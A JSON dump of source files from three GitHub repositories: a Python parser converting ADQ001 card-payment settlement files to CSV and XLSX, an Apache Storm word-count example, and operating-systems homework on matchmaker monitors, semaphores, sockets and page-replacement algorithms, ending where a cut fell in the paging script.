[ { "alpha_fraction": 0.708185076713562, "alphanum_fraction": 0.7437722682952881, "avg_line_length": 24.545454025268555, "blob_id": "d31549b4ab5f7e4cf0ca7ac3d059e11505146b11", "content_id": "6c98de5839d5da2d90dfafc0488d002f8d1aca79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 281, "license_type": "no_license", "max_line_length": 118, "num_lines": 11, "path": "/README.md", "repo_name": "SnowBG/Markup_File", "src_encoding": "UTF-8", "text": "**MARKUP FILE INTERPRETER**\n\n__Project adq001_broker.py__\n\nThis script interprets the data contained in the ADQ001.TXT file, converts and saves the data in CSV and XLSX formats.\n\n*Requirements:* \n- Python 3.x\n- Pandas\n\n__*The script was developed based on the ADQ001 protocol.*__ " }, { "alpha_fraction": 0.5342439413070679, "alphanum_fraction": 0.56456458568573, "avg_line_length": 43.495689392089844, "blob_id": "cfa1b8857379aabb70e38b26ab3da77beef4c847", "content_id": "f77ffbbb0d7d74571fdb1360c22f9218b50e814d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10348, "license_type": "no_license", "max_line_length": 100, "num_lines": 232, "path": "/adq001_broker.py", "repo_name": "SnowBG/Markup_File", "src_encoding": "ISO-8859-1", "text": "# encoding: iso-8859-1\n# encoding: win-1252\n# encoding: utf-8\n\"\"\"\nEste script interpreta os dados contidos no arquivo ADQ001.TXT e salva os dados em CSV e XLSX.\n\"\"\"\nfrom datetime import datetime as dt\nimport pandas as pd\nclass Adq001broker():\n \"\"\"\n Classe que interpreta os arquivos ADQ001 conforme protocolo especifico.\n :params:\n file_env = arquivo texto contendo os dados\n :vars:\n file: arquivo txt carregado em memoria\n band: bandeiras dos cartoes\n now: data e hora atual\n csv_name: nome que sera dado ao arquivo de saida\n :methods:\n triagem: verifica se a linha se refere ao header, detail ou tail\n header: interpreta os valores de header\n detail: interpreta os valores de detail\n tail: interpreta os valores de tail\n save_csv: salva os dados no arquivo de saida no formato csv\n save_xlsx: salva os dados no arquivo de saida no formato xlsx\n \"\"\"\n def __init__(self, file_env):\n self.cnt = 0\n self.file_env = file_env\n with open(self.file_env, 'r', encoding='utf-8') as file:\n self.env = file.readlines()\n file.close()\n self.band = {'003': 'Mastercard', '004': 'Visa', '005': 'Diners Club',\\\n\t\t\t\t\t'006': 'American Express', '008': 'Elo', '009': 'Alelo', \\\n\t\t\t\t\t'010': 'Cabal', '011': 'Agiplan', '012': 'Aura', '013': 'Banescard', \\\n\t\t\t\t\t'014': 'Calcard', '015': 'Credsystem', '016': 'Cup', '017': 'Redesplan',\\\n\t\t\t\t\t'018': 'Sicred', '019': 'Sorocred', '020': 'Verdecard', '021': 'Hipercard',\\\n\t\t\t\t\t'022': 'Avista', '023': 'Credz', '024': 'Discover', '025': 'Maestro',\\\n\t\t\t\t\t'026': 'Visa Electron', '027': 'Elo débito', '028': 'Sicredi débito',\\\n\t\t\t\t\t'029': 'Hiper crédito', '030': 'Cabal débito', '031': 'JCB', '032': 'Ticket',\\\n\t\t\t\t\t'033': 'Sodexo', '034':'VR', '035': 'Policard', '036': 'Valecard',\\\n\t\t\t\t\t'037': 'Goodcard', '038': 'Greencard', '039': 'Coopercard',\\\n\t\t\t\t\t'040': 'Verocheque', '041': 'Nutricash', '042': 'Banricard',\\\n\t\t\t\t\t'043': 'Banescard débito', '044': 'Sorocred pré-pago',\\\n\t\t\t\t\t'045': 'Mastercard pré-pago', '046': 'Visa pré-pago', '047': 'Ourocard'}\n self.now = dt.now()\n self.csv_name = \"ADQ001_\" + (str(self.now.microsecond)) + \".csv\"\n self.triagem()\n self.save_xlsx()\n def triagem(self):\n \"\"\"\n Este metodo verifica qual o tipo de dado contido em cada linha do arquivo TXT e chama o\n\t\tmetodo correto para interpreta-la.\n :vars:\n linha: string que recebe linha a linha do conteudo do arquivo txt.\n cont: contador das linhas lidas.\n \"\"\"\n cont = 0\n for linha in self.env:\n if linha[0] == '0':\n self.header(cont, linha)\n elif linha[0] == '1':\n self.detail(cont, linha)\n elif linha[0] == '9':\n self.tail(cont, linha)\n else:\n print(\"Unknown value at line %i\" % (cont + 1))\n cont += 1\n print(cont)\n def header(self, cont, linha):\n \"\"\"\n Este metodo interpreta os dados de cabecalho do arquivo txt.\n :params:\n cont: contador proveniente da triagem.\n linha: string a ser interpreta proveniente da triagem.\n :vars:\n point: indice do posicionamento dentro das strings para precorrer os dados\n conforme o protocolo.\n cnt: contador.\n cabecalho: Titulos das colunas.\n filler: valores em branco no final de cada linha\n as demais variaveis sao referentes aos valores de cada coluna, de acordo com o\n protocolo.\n \"\"\"\n point = 0\n self.cnt = cont + 1\n point += 1\n id_emissor = linha[point: point + 30]\n print(\"Identificacao do emissor: %s\" % id_emissor)\n point += 30\n id_destinatario = linha[point: point + 30]\n print(\"Identificacao do destinatário: %s\" % id_destinatario)\n point += 30\n cod_parceiro = linha[point: point + 2]\n print(\"Código do parceiro: %s\" % cod_parceiro)\n point += 2\n file_dt = linha[point: point + 14]\n print(\"Data Hora: %s-%s-%s %s:%s:%s\" % (file_dt[0:4], file_dt[4:6], file_dt[6:8], \\\n\t\t file_dt[8:10], file_dt[10:12], file_dt[12:]))\n point += 14\n tipo_arranjo = linha[point: point + 1]\n print(\"Tipo de operação para o arranjo que está sendo liquidado para o cliente: %s\" \\\n\t\t %tipo_arranjo)\n point += 1\n cod_validacao = linha[point: point + 200]\n print(\"Código de validação: %s\" % cod_validacao)\n point: point + 200\n filler = linha[point: ]\n print(\"Filler: %i\" % len(filler))\n cabecalho = (\"Identificador,Data PG, CPF/CNPJ, Nome, Tipo Cliente,Valor PG, \"\n \"ID Instrução PG, Tipo Conta, Número Banco, Agência, Conta, Conta Pagamento, \"\n \"bandeira, Filler\")\n self.save_csv(cabecalho)\n def detail(self, cont, linha):\n \"\"\"\n Este metodo interpreta os dados de detalhes do arquivo txt.\n :params:\n cont: contador proveniente da triagem.\n linha: string a ser interpreta proveniente da triagem.\n :vars:\n v: insere a virgula para criacao do csv.\n point: indice do posicionamento dentro das strings para precorrer os dados conforme\n o protocolo.\n cnt: contador\n identificador_linha: identifica o tipo de operacao, conforme o protocolo\n filler: valores em branco no final de cada linha\n as demais variaveis sao referentes aos valores de cada coluna, de acordo com o\n protocolo.\n \"\"\"\n comma = ','\n point = 0\n self.cnt = cont + 1\n identificador_linha = linha[point: point + 1]\n point += 1\n data_pagamento = linha[point: point + 4] + \"-\" + linha[point + 4: point + 6] \\\n\t\t + \"-\" + linha[point + 6:point + 8]\n point += 8\n doc_cliente = linha[point: point + 14]\n point += 14\n nome_cliente = linha[point: point + 50]\n point += 50\n tipo_cliente = linha[point: point + 1]\n point += 1\n valor_pagam = \"%.2f\" %(int(linha[point: point + 19]) / 100)\n point += 19\n id_instrucao_pagam = linha[point: point + 18]\n point += 18\n tipo_conta_cliente = linha[point: point + 2]\n point += 2\n banco_cliente = linha[point: point + 4]\n point += 4\n agencia_cliente = linha[point: point + 4]\n point += 4\n conta_cliente = linha[point: point + 13]\n point += 13\n num_conta_pg_cliente = linha[point: point + 20]\n point += 20\n bandeira = self.band[linha[point: point + 3]]\n point += 3\n filler = str(len(linha[point:]))\n\n self.save_csv(identificador_linha + comma + data_pagamento + comma + doc_cliente + comma + \\\n nome_cliente + comma + tipo_cliente + comma + valor_pagam + comma + \\\n id_instrucao_pagam + comma + tipo_conta_cliente + comma + banco_cliente\\\n + comma + agencia_cliente + comma + conta_cliente + comma + \\\n\t\t\t\t\t num_conta_pg_cliente + comma + bandeira + comma + filler)\n def tail(self, cont, linha):\n \"\"\"\n Este metodo interpreta os dados de rodape do arquivo txt.\n :params:\n cont: contador proveniente da triagem.\n linha: string a ser interpreta proveniente da triagem.\n :vars:\n v: insere a virgula para criacao do csv.\n point: indice do posicionamento dentro das strings para precorrer os dados conforme\n o protocolo.\n cnt: contador.\n filler: valores em branco no final de cada linha as demais variaveis sao referentes\n aos valores de cada coluna, de acordo com o protocolo.\n \"\"\"\n point = 0\n self.cnt = cont + 1\n point += 1\n qtd_lancamentos = linha[point: point + 6]\n print(\"Quantidade de lançamentos: %s\" %qtd_lancamentos)\n point += 6\n soma_valores = linha[point: point + 19]\n print(\"Somatório dos valores das operações: R$%s\" %str(float(soma_valores)/100))\n point += 19\n filler = linha[point:]\n print(\"Filler: %i\" %len(filler))\n def save_csv(self, linha):\n \"\"\"\n Este metodo cria o arquivo csv de saida.\n :params:\n linha: linha que sera gravada no arquivo de saida.\n :vars:\n csvfile: objeto arquivo que sera usado para gravar o csv.\n \"\"\"\n with open(self.csv_name, 'a') as csvfile:\n csvfile.write(linha)\n csvfile.write('\\n')\n def save_xlsx(self):\n \"\"\"\n Este metodo cria um arquivo xlsx de saida utilizando o Pandas.\n :vars:\n csv: arquivo csv gerado a partir da interpretacao do arquivo txt.\n writer: escreve o arquivo xlsx (xlsxwriter é o engine escolhido para a gravacao\n dos dados no arquivo de saida).\n work: cria o workbook para manipulacao dos dados em xlsx.\n wsheet: seleciona a pagina(planilha, aba ou sheet) onde os dados serao gravados\n os dados.\n format(x): estipula o formato dos dados gravados em cada coluna.\n \"\"\"\n csv = pd.read_csv(self.csv_name, encoding='cp1252')\n writer = pd.ExcelWriter(self.csv_name + \".xlsx\", engine='xlsxwriter')\n csv.to_excel(writer, sheet_name='Sheet1', index=None)\n work = writer.book\n wsheet = writer.sheets['Sheet1']\n format_1 = work.add_format({'num_format':'####00000000000'})\n format_2 = work.add_format({'num_format':'0.00'})\n format_3 = work.add_format({'num_format':'dd/mm/yyyy'})\n format_a = work.add_format({'bold':True, 'font_color':'green'})\n wsheet.set_column('A:A', 12, None)\n wsheet.set_column('B:B', 10, format_3)\n wsheet.set_column('C:C', 15, format_1)\n wsheet.set_column('D:D', 50, format_a)\n wsheet.set_column('E:E', 11.43, format_a)\n wsheet.set_column('F:F', 8, format_2)\n wsheet.set_column('G:G', 16, format_1)\n wsheet.set_column('I:I', 13.43, format_a)\n wsheet.set_column('M:M', 11, format_a)\n" } ]
2
winston86zhu/ApacheStormExample
https://github.com/winston86zhu/ApacheStormExample
f0169ec430af0be17c3fc1250d1b5e6e12b5a3e0
5c075f5fbc338b6360c7901de901b3abf5792581
f4e467f8ea89a6f2a42076455ff2c653aa809e50
refs/heads/master
2022-11-16T22:10:17.618662
2022-11-05T00:29:13
2022-11-05T00:29:13
252,803,961
1
0
null
2020-04-03T18:01:44
2022-11-05T00:29:18
2022-11-05T00:29:25
Python
[ { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.7096773982048035, "avg_line_length": 30, "blob_id": "1dcc1546b1456fc7df50e6d7a7fd079d549b07ac", "content_id": "ff97d863b72355f1dc90b38bedad3e7c9b451417", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 62, "license_type": "no_license", "max_line_length": 36, "num_lines": 2, "path": "/README.md", "repo_name": "winston86zhu/ApacheStormExample", "src_encoding": "UTF-8", "text": "- How to set up topology\n- How to create Bolt in yaml and .py\n" }, { "alpha_fraction": 0.5788561701774597, "alphanum_fraction": 0.582322359085083, "avg_line_length": 26.4761905670166, "blob_id": "58cac202375d819e5adf036fb052b88391514f26", "content_id": "833566ec0f07f8215b339edc6ab463ca73b1440d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1154, "license_type": "no_license", "max_line_length": 106, "num_lines": 42, "path": "/multilang/resources/file_reader_spout.py", "repo_name": "winston86zhu/ApacheStormExample", "src_encoding": "UTF-8", "text": "# import os\n# from os.path import join\nfrom time import sleep\n\n# from streamparse import Spout\nimport storm\n\n\nclass FileReaderSpout(storm.Spout):\n\n def initialize(self, conf, context):\n self._conf = conf\n self._context = context\n self._complete = False\n\n storm.logInfo(\"Spout instance starting...\")\n\n # TODO:\n # Task: Initialize the file reader\n self._path = conf['input']\n self._file_reader = open(self._path, 'r')\n # End\n\n def nextTuple(self):\n # TODO:\n # Task 1: read the next line and emit a tuple for it\n # Task 2: don't forget to sleep for 1 second when the file is entirely read to prevent a busy-loop\n lines = self._file_reader.readlines()\n for line in lines:\n storm.logInfo(\"Reading line %s \" %line)\n storm.emit([line])\n # line = self._file_reader.readline()\n # while line:\n # storm.logInfo(\"Reading line %s \" % line)\n # storm.emit([line])\n # line = self._file_reader.readline()\n sleep(1)\n # End\n\n\n# Start the spout when it's invoked\nFileReaderSpout().run()\n" }, { "alpha_fraction": 0.5149812698364258, "alphanum_fraction": 0.5173221230506897, "avg_line_length": 29.514286041259766, "blob_id": "39003f2716c9536350ecc418270340755538df74", "content_id": "d03a06bdd59b5cf9dfd7a41b03a1295b08c114e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2136, "license_type": "no_license", "max_line_length": 102, "num_lines": 70, "path": "/multilang/resources/top_n_finder_bolt.py", "repo_name": "winston86zhu/ApacheStormExample", "src_encoding": "UTF-8", "text": "import heapq\nfrom collections import Counter\n\nimport storm\n\n\nclass TopNFinderBolt(storm.BasicBolt):\n # Initialize this instance\n def initialize(self, conf, context):\n self._conf = conf\n self._context = context\n\n storm.logInfo(\"Top-N bolt instance starting...\")\n\n # TODO:\n # Task: set N\n self._nvalue = conf['topValue']\n # End\n self._countmap = {}\n self._max = 0\n self._min = 0\n\n # Hint: Add necessary instance variables and classes if needed\n\n def process(self, tup):\n '''\n TODO:\n Task: keep track of the top N words\n Hint: implement efficient algorithm so that it won't be shutdown before task finished\n the algorithm we used when we developed the auto-grader is maintaining a N size min-heap\n '''\n word = tup.values[0]\n count = int(tup.values[1])\n storm.logInfo(\"word %s \" %word)\n storm.logInfo(\"count %s \" %count)\n if len(self._countmap) >= self._nvalue:\n if count >= self._min:\n # if word not in self._countmap:\n # self._countmap[word] = count\n # else:\n # self._countmap[word] += count\n minkey = min(self._countmap, key=self._countmap.get)\n del self._countmap[minkey]\n self._countmap[word] = count\n self._min = count\n if count >= self._max:\n self._max = count\n else:\n self._countmap[word] = count\n if count <= self._min:\n self._min = count\n elif count >= self._max:\n self._max = count\n if len(self._countmap) >= self._nvalue:\n final_string = \"\"\n for key in self._countmap:\n final_string += \" \"\n final_string += (key + \",\")\n final_string = final_string.strip()[:-1]\n storm.logInfo(\"Top N result %s\" %final_string)\n storm.emit([\"top-N\", final_string])\n\n\n\n\n # End\n\n\n# Start the bolt when it's invoked\nTopNFinderBolt().run()\n" } ]
3
mjt249/OS
https://github.com/mjt249/OS
ac58cdd8954b416304767fdbc05cb9b42d0f6dff
0eb24c0bdd136a868b21cf4b8a84568a78e3832d
c0d64509e27b09d04684c072e48fee5c2324cdde
refs/heads/master
2021-03-30T16:36:55.406127
2017-08-15T03:48:02
2017-08-15T03:48:02
97,739,811
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5429032444953918, "alphanum_fraction": 0.551612913608551, "avg_line_length": 36.65182113647461, "blob_id": "60c8a77920a3df3cb83b7ff8ab27f380cda4dddc", "content_id": "3bd1fa70cc4ac2cf2bb3b4b2bf7c9df783bc48f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9322, "license_type": "no_license", "max_line_length": 94, "num_lines": 247, "path": "/HW3/matchmaker.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from threading import Thread, Lock, Condition\nimport time, random\n\nclass MinimalUnfairMatchmaker(object):\n \"\"\"\n A matchmaker monitor collects groups of n threads, blocking them until there\n is a complete group available.\n \"\"\"\n\n def __init__(self, n):\n self.lock = Lock()\n self.in_lobby = 0 # number of unadmitted threads\n self.admitted = 0 # number of admitted threads\n self.n = n\n\n self.can_go = Condition(lock) # predicate: self.admitted > 0\n\n def join(self):\n with self.lock:\n self.in_lobby += 1\n\n if self.in_lobby == self.n:\n self.in_lobby -= self.n\n self.admitted += self.n\n\n while not (self.admitted > 0):\n self.can_go.wait()\n\n self.admitted -= 1\n\nclass MinimalFullCreditMatchmaker(object):\n \"\"\"\n A matchmaker monitor collects groups of n threads, blocking them until there\n is a complete group available.\n \"\"\"\n\n def __init__(self, n):\n self.lock = Lock()\n self.in_lobby = 0 # number of unadmitted threads\n self.next_game = 0 # the next game that will start\n\n self.can_go = Condition(lock) # predicate: self.next_game > [local game]\n\n def join(self):\n with self.lock:\n self.in_lobby += 1\n game = self.generation\n\n if self.in_lobby == self.n:\n self.in_lobby = 0\n self.next_game += 1\n\n while not (self.next_game > game):\n self.can_go.wait()\n\n\n################################################################################\n## below are proofs of correctness for the unfair and fair matchmakers ##\n################################################################################\n\nclass UnfairMatchmaker(object):\n \"\"\"\n A matchmaker monitor collects groups of n threads, blocking them until there\n is a complete group available.\n\n Recall that a safety property is the absence of a bad thing happening. In\n this case, the bad thing is if too many threads leave join: enough that some\n of them can't form a group. Formally: if at any point 'num_threads'\n threads have called join, then at most n*floor(num_threads/n) have returned.\n \"\"\"\n\n def __init__(self, n):\n \"\"\"create a matchmaker that admits groups of n players.\n precondition: n > 0\"\"\"\n\n self.lock = Lock()\n\n self.in_lobby = 0 # the number of threads that have called join but have\n # not been allowed to proceed\n\n self.admitted = 0 # the number of threads that have been mathed but have\n # not left join\n\n self.can_go = Condition(self.lock) # predicate: self.admitted > 0\n\n # these variables aren't needed for the operation, but make talking about\n # the invariants easier:\n\n # self.have_joined = 0 # the number of threads that have ever called join\n # self.have_left = 0 # the number of threads that have ever returned\n\n # invariant 1: in_lobby + admitted + have_left = have_joined\n # invariant 2: 0 ≤ in_lobby < n\n # invariant 3: admitted + have_left is a multiple of 4\n # invariant 4: all variables are non-negative\n\n # note: all invariants hold here\n\n def join(self):\n with self.lock:\n # we can assume all invariants, since they are true when we exit\n # or wait. But a thread joins:\n\n # self.have_joined += 1\n\n # so we have to reestablish invariant 1:\n self.in_lobby += 1\n\n # but that violates invariant 2, so we fix it (while preserving other invariants):\n if self.in_lobby is self.n:\n self.in_lobby -= self.n\n self.admitted += self.n\n self.can_go.notifyAll()\n\n # all invariants hold here. We want to decrement have_left, but\n # doing so would violate invariants so we must wait\n\n while not (self.admitted > 0):\n self.can_go.wait()\n\n # thread is about to leave:\n # self.have_left += 1\n\n # so we need to reestablish invariant 1. Note that this preserves\n # invariant 4 because we know admitted > 0\n self.admitted -= 1\n\n # proof of safety: we want to show has_left ≤ n*floor(has_joined / n)\n #\n # by invariant 1, has_left + in_lobby + admitted = has_joined\n # so has_left + admitted = has_joined - in_lobby ≤ has_joined\n # (since in_lobby >= 0 by invariant 4).\n #\n # Dividing by n, we have (has_left + admitted)/n ≤ has_joined/n.\n # But has_left + admitted is a multiple of n, so\n # (has_left + admitted) / n is an integer; since it is less\n # than or equal to has_joined/n, it must also be less than or\n # equal to the floor of has_joined/n.\n\nclass Matchmaker(object):\n \"\"\"This has the same specification as UnfairMatchmaker, but prevents threads\n from leaving before threads that were grouped before they entered.\n \"\"\"\n\n # note: I do not prove fairness here, only safety. Specifying and proving\n # fairness requires theoretical tools that are beyond the scope of\n # this course. Also, it's pretty clearly fair, because the game\n # number never goes down.\n\n def __init__(self, n):\n self.lock = Lock()\n self.n = n\n self.in_lobby = 0 # number of unadmitted threads\n self.started_games = 0 # number of games that have been started\n self.can_go = Condition(self.lock) # predicate: generation > [local generation]\n\n # additional variables for specification:\n # self.have_joined = 0 # number of threads that have called join\n # self.have_left = 0 # number of threads that have returned from join\n # self.joining[i] = 0 # number of threads with executing join with local game == i\n\n # invariant 1: have_joined = sum(joining) + have_left\n # invariant 2: in_lobby < n\n # invariant 3: have_left + sum(joining) = started_games * n + in_lobby\n # invariant 4: joining[started_games] = in_lobby\n # invariant 5: joining[g] = 0 if g > started_games\n\n def join(self):\n with self.lock:\n # at this point, all invariants hold, but then we add a thread\n # so we must increment joining and have_joined\n\n game = self.started_games\n\n # self.have_joined += 1\n # self.joining[game] += 1\n self.in_lobby += 1\n\n # at this point, all invariants but 2 hold\n\n if self.in_lobby == self.n:\n # establish invariant 2\n self.in_lobby -= self.n\n\n # establish invariant 3\n self.started_games += 1\n self.released.notify_all()\n\n # invariant 4 holds: the current value of started_games is now\n # larger than the value of started_games before the increment,\n # so by invariant 5, it is 0; and we have just set self.in_lobby\n # to 0.\n\n # at this point, all invariants hold. But we can't safely increment\n # has_left without waiting:\n\n while not self.started_games > game:\n self.released.wait()\n\n # invariants hold here. the thread is about to exit:\n\n # joining[game] -= 1\n # has_left += 1\n\n # invariants 1 and 3 are preserved because have_left +\n # sum(joining) is unchanged. invariant 2 is\n # unaffected. invariants 4 and 5 vacuously hold\n # because game ≠ started_games and g < started_games\n\n # proof of safety: we want to show have_left ≤ n * floor(has_joined / n)\n #\n # since 0 ≤ in_lobby < n (invariant 2), we have\n # n * floor(have_joined / n) = floor(started_games + in_lobby/n)\n # = n * started_games\n #\n # We also know that joining[started_games] = in_lobby, so\n # sum(joining) ≥ in_lobby; therefore in_lobby - sum(joining) ≤ 0\n #\n # Putting these together, we have\n # have_left = n*started_games + in_lobby - sum(joining)\n # [by invariant 3]\n # ≤ n*started_games\n # [since in_lobby - sum(joining) ≤ 0]\n # = n*floor(have_joined/n)\n # [by above]\n # which is what we wanted to prove.\n\n\nclass Player(Thread):\n def __init__(self, matchmaker, name):\n Thread.__init__(self)\n self.matchmaker = matchmaker\n self.id = name\n\n def run(self):\n # wait a random amount of time\n time.sleep(random.uniform(0.1,0.5))\n print(\"Player %i arriving\" % self.id)\n self.matchmaker.join()\n print(\"Player %i playing\" % self.id)\n\nif __name__ == '__main__':\n queue = Matchmaker(4)\n for i in range(100):\n Player(queue, i).start()\n\n# vim:expandtab:tabstop=8:shiftwidth=4:softtabstop=4\n" }, { "alpha_fraction": 0.4895615875720978, "alphanum_fraction": 0.5302714109420776, "avg_line_length": 15.789473533630371, "blob_id": "1606c2d7b58edaa44e615f08f1339f35146666c1", "content_id": "b7a47c11aace6321441f318c76e07e4b1fb006fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 958, "license_type": "no_license", "max_line_length": 49, "num_lines": 57, "path": "/HW2/incr.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from threading import Thread, Semaphore\n\n\ndef P(sema):\n sema.acquire()\n\n\ndef V(sema):\n sema.release()\n\n\n\nclass Add(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n for j in range(10000):\n for i in range(10):\n P(index_matrix_semaphores[i])\n matrix[i] = matrix[i] + 1\n V(index_matrix_semaphores[i])\n\nclass Sub(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n for j in range(10000):\n for i in range(10):\n P(index_matrix_semaphores[i])\n matrix[i] = matrix[i] - 1\n V(index_matrix_semaphores[i])\n\n\nmatrix = [90, 90, 90, 90, 90, 90, 90, 90, 90, 90]\n\nindex_matrix_semaphores = []\n\nfor j in range(len(matrix)):\n index_matrix_semaphores.append(Semaphore(1))\n\na = Add()\ns = Sub()\n\na.start()\ns.start()\n\na.join()\ns.join()\n\nprint(matrix)\n\n\n## vim: et ai ts=4 sw=4\n\n" }, { "alpha_fraction": 0.6170026063919067, "alphanum_fraction": 0.6327782869338989, "avg_line_length": 19.745454788208008, "blob_id": "0e2a38e01bb8b5db5c927829e2027b412cdee80d", "content_id": "d893636c4f378bab2f8367b8bd7fca71684b86ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1141, "license_type": "no_license", "max_line_length": 64, "num_lines": 55, "path": "/HW5/motd_client.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "import socket\nimport struct\nimport pickle\n\nMSGLEN = 10\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ns.connect((\"localhost\", 5000))\ntotalsent = 0\n\npayload = {\n \"msg\": \"Hello dis puppy.\",\n \"command\": \"SET\"\n}\n\npayload_packed = pickle.dumps(payload)\n\npack = struct.pack(\"!I\", len(payload_packed))\ns.send(pack)\n\nwhile totalsent < len(payload_packed):\n sent = s.send(payload_packed[totalsent:])\n if sent == 0:\n raise RuntimeError(\"socket connection broken\")\n totalsent = totalsent + sent\n\n# Receive the response!\n\nchunks = \"\"\nbytes_recd = 0\nprint(\"starting socket read\")\nprint(\"reading header / message length\")\n\nresponse = None\nwhile True:\n chunk = s.recv(2048)\n if chunk == '':\n print(\"socket connection broken\")\n break\n\n chunks += chunk\n\n bytes_recd = bytes_recd + len(chunk)\n\n if bytes_recd >= 4:\n (total_message_size,) = struct.unpack(\"!I\", chunks[0:4])\n\n if bytes_recd >= 4 + total_message_size:\n response = pickle.loads(chunks[4:])\n break\n\nif response != None: # no error\n print(\"Here's what we got from the client:\")\n print(response)\n" }, { "alpha_fraction": 0.5357006788253784, "alphanum_fraction": 0.5397734642028809, "avg_line_length": 35.041282653808594, "blob_id": "c3643538553c03c5d41b6167f8d2ee5afbeaf0f7", "content_id": "e84ecb2ed810e0ca4b4d71d6f58e55097eaabcff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7857, "license_type": "no_license", "max_line_length": 123, "num_lines": 218, "path": "/HW3/paging.py", "repo_name": "mjt249/OS", "src_encoding": "UTF-8", "text": "from collections import deque\nimport random\nimport sys\nfrom threading import Thread, Semaphore\n\n# ###############################################################################\n# Shared paging simulation infrastructure #####################################\n################################################################################\n\nclass Pager(object):\n \"\"\"Pager objects implement page replacement strategies. A program can call\n pager.access(addr) to indicate that the given address is being accessed;\n the Pager will ensure that that page is loaded and return the corresponding\n frame number.\n\n The Pager keeps track of the number of page faults.\"\"\"\n\n def __init__(self, num_frames):\n self.page_faults = 0\n self.frames = [None for i in range(num_frames)]\n self.num_frames = num_frames\n\n def evict(self):\n \"\"\"return the frame number of a page to be evicted.\"\"\"\n # This will be implemented in your subclasses below.\n raise NotImplementedError\n\n def access(self, address):\n \"\"\"loads the page containing the address into memory and returns the\n frame number of the loaded page.\"\"\"\n\n page_num = address\n if page_num in self.frames:\n # hit\n return self.frames.index(page_num)\n else:\n # fault\n self.page_faults += 1\n index = self.evict()\n self.frames[index] = page_num\n return index\n\n\n################################################################################\n# Paging algorithm implementations ############################################\n################################################################################\n\nclass FIFO(Pager):\n def __init__(self, num_frames):\n Pager.__init__(self, num_frames)\n self.head = 0\n # TODO\n\n def access(self, address):\n # TODO: you may wish to do additional bookkeeping here.\n return Pager.access(self, address)\n\n def evict(self):\n evictee = self.head\n #Update pointer to next added\n if self.head == (self.num_frames - 1):\n self.head = 0\n else:\n self.head += 1\n return evictee\n\n# I will implement this with a Deque. I will first populate the deque.\n# Then, when a page is accessed, I will move it to the top of the deque. When a page needs to be evicted\n# I will take the one at the bottom of the deque.\nclass LRU(Pager):\n def __init__(self, num_frames):\n Pager.__init__(self, num_frames)\n self.deque_populated = False\n self.dq = deque()\n self.pointer_to_populate = -1\n self.index_to_remove = 0\n\n def access(self, address):\n if address in self.dq:\n self.dq.remove(address)\n self.dq.append(address)\n else:\n if self.deque_populated:\n address_to_remove = self.dq.popleft()\n\n # Set variable so evict knows which to return\n self.index_to_remove = self.frames.index(address_to_remove)\n self.dq.append(address)\n else:\n self.dq.append(address)\n\n return Pager.access(self, address)\n\n # If deque isn't fully populated, no need to actually evict. Otherwise pop_left\n def evict(self):\n if not self.deque_populated:\n self.pointer_to_populate += 1\n if self.pointer_to_populate == (self.num_frames - 1):\n self.deque_populated = True\n return self.pointer_to_populate\n else:\n return self.index_to_remove\n\n\nclass Random(Pager):\n def __init__(self, num_frames):\n Pager.__init__(self, num_frames)\n self.mem_populated = False\n self.pointer_to_populate = -1\n\n def access(self, address):\n # TODO: you may wish to do additional bookkeeping here.\n return Pager.access(self, address)\n\n def evict(self):\n if not self.mem_populated:\n self.pointer_to_populate += 1\n if self.pointer_to_populate == (self.num_frames - 1):\n self.mem_populated = True\n return self.pointer_to_populate\n else:\n return random.randint(0, (self.num_frames - 1))\n\n\nclass OPT(Pager):\n def __init__(self, num_frames, trace):\n \"\"\"trace is a list of addresses; the full trace of accesses that will be\n performed\"\"\"\n Pager.__init__(self, num_frames)\n self.trace_counter = -1\n self.mem_populated = False\n self.pointer_to_populate = -1\n self.address_dict = {}\n\n # Build dictionary of all trace values and occurences\n for i, address in enumerate(trace):\n if address in self.address_dict:\n self.address_dict[address].append(i)\n else:\n self.address_dict[address] = deque()\n self.address_dict[address].append(i)\n\n def access(self, address):\n self.trace_counter += 1\n return Pager.access(self, address)\n\n\n def evict(self):\n if not self.mem_populated:\n self.pointer_to_populate += 1\n if self.pointer_to_populate == (self.num_frames - 1):\n self.mem_populated = True\n return self.pointer_to_populate\n\n else:\n # Hash has been built.\n\n # List of size num_frames. Each index is the next use of that address\n # Each index is set to the max in case that address is not used again\n next_use = [sys.maxsize] * self.num_frames\n for i, address in enumerate(self.frames):\n current_dq = self.address_dict[address]\n\n\n # Iterates through the queue and pops occurences less than the current trace position\n while len(current_dq) > 0 and current_dq[0] <= self.trace_counter:\n current_dq.popleft()\n\n if len(current_dq) > 0:\n next_use[i] = current_dq[0]\n\n # In the form (index in frames, next index of address use in trace)\n ind_to_evict = (0,0)\n for i, next_ind in enumerate(next_use):\n if next_ind > ind_to_evict[1]:\n ind_to_evict = (i, next_ind)\n return ind_to_evict[0]\n\n\n\n################################################################################\n## Command line parsing and main driver ########################################\n################################################################################\n\nif __name__ == '__main__':\n import argparse\n print(\"main\")\n\n parser = argparse.ArgumentParser(description=\"simulate various page replacement algorithms\")\n parser.add_argument(\"-s\", \"--page-size\", help=\"the number of pages\",\n type=int, default=10)\n parser.add_argument(\"-n\", \"--num-frames\", help=\"the number of frames\",\n type=int, required=True)\n parser.add_argument(\"algorithm\", choices=[\"FIFO\", \"LRU\", \"Random\", \"OPT\"],\n help=\"the replacement strategy to use\")\n 